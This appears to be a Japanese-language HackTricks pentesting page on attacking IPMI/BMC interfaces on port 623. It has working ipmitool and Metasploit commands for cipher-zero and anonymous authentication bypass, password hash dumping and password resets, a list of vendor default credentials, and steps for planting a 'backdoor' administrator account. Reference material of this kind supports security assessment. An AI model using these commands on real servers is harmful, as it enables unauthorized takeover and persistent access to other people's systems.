# 623/UDP/TCP - IPMI {{#include ../banners/hacktricks-training.md}} ## 基本情報 ### **IPMIの概要** **[インテリジェントプラットフォーム管理インターフェース (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者はシステムがオフまたは応答しない場合でもリモートで管理でき、特に以下の用途に便利です: - OSブート前の設定 - 電源オフ管理 - システム障害からの回復 IPMIは、温度、電圧、ファン速度、電源供給の監視が可能で、在庫情報の提供、ハードウェアログのレビュー、SNMPを介したアラートの送信も行います。その運用に必要なのは、電源とLAN接続です。 1998年にインテルによって導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0のLAN経由のシリアルサポートによりリモート管理機能が強化されました。主要なコンポーネントには以下が含まれます: - **ベースボード管理コントローラー (BMC):** IPMI操作のための主要なマイクロコントローラー。 - **通信バスとインターフェース:** 内部および外部通信のためのICMB、IPMB、さまざまなローカルおよびネットワーク接続用インターフェース。 - **IPMIメモリ:** ログとデータを保存するためのもの。 ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **デフォルトポート**: 623/UDP/TCP(通常はUDPですが、TCPで動作している場合もあります) ## 列挙 ### 発見 ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` バージョンを特定するには、次のようにします: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMIの脆弱性 IPMI 2.0の領域では、Dan Farmerによって重要なセキュリティ欠陥が発見され、**cipher type 0**を通じて脆弱性が露呈しました。この脆弱性は、[Dan Farmerの研究](http://fish2.com/ipmi/cipherzero.html)に詳細に文書化されており、有効なユーザーがターゲットにされる限り、任意のパスワードで不正アクセスを可能にします。この弱点は、HP、Dell、SupermicroなどのさまざまなBMCから見つかり、すべてのIPMI 2.0実装における広範な問題を示唆しています。 ### **Cipher 0によるIPMI認証バイパス** この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます: ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` この脆弱性の悪用は、以下に示すように `ipmitool` を使用して実現可能であり、ユーザーパスワードのリスト表示と変更が可能です: ```bash apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` ### **IPMI 2.0 RAKP 認証リモートパスワードハッシュ取得** この脆弱性により、既存のユーザー名に対して塩を加えたハッシュ化されたパスワード(MD5およびSHA1)を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供しています: ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **IPMI 匿名認証** 多くの BMC のデフォルト設定では、ユーザー名とパスワードが空の「匿名」アクセスが許可されています。この設定は、`ipmitool` を使用して名前付きユーザーアカウントのパスワードをリセットするために悪用される可能性があります。 ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI 平文パスワード** IPMI 2.0の重要な設計選択は、認証目的でBMC内に平文パスワードを保存する必要があります。Supermicroがこれらのパスワードを`/nv/PSBlock`や`/nv/PSStore`などの場所に保存することは、重大なセキュリティ上の懸念を引き起こします: ```bash cat /nv/PSBlock ``` ### **Supermicro IPMI UPnPの脆弱性** SupermicroのIPMIファームウェアにおけるUPnP SSDPリスナーの組み込み、特にUDPポート1900での実装は、深刻なセキュリティリスクをもたらします。 [Rapid7の開示](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) に詳述されているように、UPnPデバイス用のIntel SDKバージョン1.3.1の脆弱性により、BMCへのルートアクセスが可能になります。 ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### ブルートフォース **HPは製造時に**その**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、**静的デフォルト資格情報**を使用する他のメーカーとは対照的です。さまざまな製品のデフォルトユーザー名とパスワードの概要は以下の通りです: - **HP Integrated Lights Out (iLO)**は、**工場でランダム化された8文字の文字列**をデフォルトパスワードとして使用し、より高いセキュリティレベルを示しています。 - **DellのiDRAC、IBMのIMM**、および**FujitsuのIntegrated Remote Management Controller**のような製品は、それぞれ「calvin」、「PASSW0RD」(ゼロを含む)、および「admin」のような簡単に推測可能なパスワードを使用しています。 - 同様に、**Supermicro IPMI (2.0)、Oracle/Sun ILOM**、および**ASUS iKVM BMC**も「ADMIN」、「changeme」、および「admin」をパスワードとして使用するシンプルなデフォルト資格情報を持っています。 ## BMCを介してホストにアクセスする Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウス(KVM)機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動する(`init=/bin/sh`を使用)か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作でき、バックドアの挿入、データの抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストの再起動を必要とし、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLAN(sol)機能を介して`ipmitool`を使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。 ## ホストからBMCにバックドアを導入する BMCを装備したホストが侵害された場合、**ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます**。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**`ipmitool`**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む幅広いオペレーティングシステムに適用可能です。 ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan - `port:623` ## References - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) {{#include ../banners/hacktricks-training.md}}